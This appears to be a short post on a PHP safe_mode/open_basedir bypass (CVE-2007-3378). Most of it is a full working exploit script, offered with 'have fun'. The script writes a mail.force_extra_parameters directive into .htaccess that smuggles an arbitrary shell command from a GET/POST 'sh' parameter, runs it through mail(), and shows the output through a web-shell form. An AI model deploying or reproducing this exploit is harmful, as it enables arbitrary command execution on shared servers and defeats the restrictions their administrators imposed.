PHP SafeMode bypass (CVE-2007-3378)

Every week a new way to bypass php-safemode is released, it seemed funny, but this open_basedir Bypass is Scandalous.

If you try to exec some restricted call, safemode will stop-it.
Other way is to use php_value directive of .htaccess files (if httpd.conf is configured to allow httaccess)

So, you can break the safemode restrictions by adding php_value orders like that:

php_value include_path "some"
php_flag display_errors On
php_value upload_max_filesize 200M

for example:

echo php_value session.save_path /inne > .htaccess
session_start();

Exploit code:

# SecurityReason
# Coded by Maksymilian Arciemowicz
# (C) Copyright SecurityReason
# Affected Software : PHP 5.2.3 and prior
# Usage :
# ?cxib=dhr - Delete Delete .htaccess and result.txt
# ?sh=[our_command] - Execute the command
#
#variables
$htaccess="./.htaccess";
#variables
if(@mail("", "", "")==FALSE){
die("mail() function isn't active.");
}
if(!is_writable("./")){
die("This directory isn't writable.");
}
if($_GET['cxib']=="dhr"){
@unlink("./.htaccess");
@unlink("./result.txt");
}
$usun="";
if(file_exists("./result.txt") AND
file_exists("./.htaccess")){
$usun .= "<p><a
href=\"http://".$_SERVER["HTTP_HOST"].
$_SERVER["SCRIPT_NAME"]."?cxib=dhr\">Delet
e .htaccess and result.txt</a>";
}
$htmlstart="<HTML>
<HEAD>
<TITLE>SecurityReason Exploit - PHP 5.2.3 and
prior</TITLE>
</HEAD>
<BODY>";
$formtxt="<center><h1>Security<b><font
color=RED>R</font>eason</b></h1><p>Exp
loit for PHP 5.2.3 and
prior</p><B><CENTER><FONT
COLOR=\"RED\">C</FONT>oded by
<b>Maksymilian Arciemowicz</b>
".$usun."
<p>Form:<br>
<form
action=\"http://".$_SERVER["HTTP_HOST"].$_SER
VER["SCRIPT_NAME"]."\"
name=\"Form\" method=\"POST\">
sh# <input type=\"text\" name=\"sh\"
size=\"50\" value=\"\">
<input type=\"submit\" name=\"sent\"
value=\"Exec\">
</form>
</CENTER></B>";
$htmlend="</BODY>
</HTML>";
$path=dirname($_SERVER["SCRIPT_NAME"]);
if(empty($sh)){
if(empty($_GET['sh'])){
if(empty($_POST['sh'])){
echo $htmlstart.$formtxt;
if(file_exists("./result.txt")){
echo "<center><iframe
src=\"http://".$_SERVER["HTTP_HOST"].
$path."/result.txt\" height=300
width=1000></center>";
}
echo $htmlend;
exit();
} else {
$sh=$_POST['sh'];
}
} else {
$sh=$_GET['sh'];
}
}
if (!$handle = @fopen($htaccess, 'w')) {
echo "Cannot create
".$htaccess."<B>check your rights to this
directory.<P>. exit();";
exit;
}
$syntax="php_value mail.force_extra_parameters '-t
&& ".$sh." >
".dirname(__FILE__)."/result.txt'";
if (fwrite($handle, $syntax) === FALSE) {
echo "Cannot write to file
(".$htaccess.")";
exit;
}
if(!empty($_POST['sent'])){
@mail("", "", "Yeah");
sleep(2);
header("Location:
http://".$_SERVER["HTTP_HOST"].
$_SERVER["REQUEST_URI"]."?cxib=".date('s'));
exit();
}
?>

have fun.

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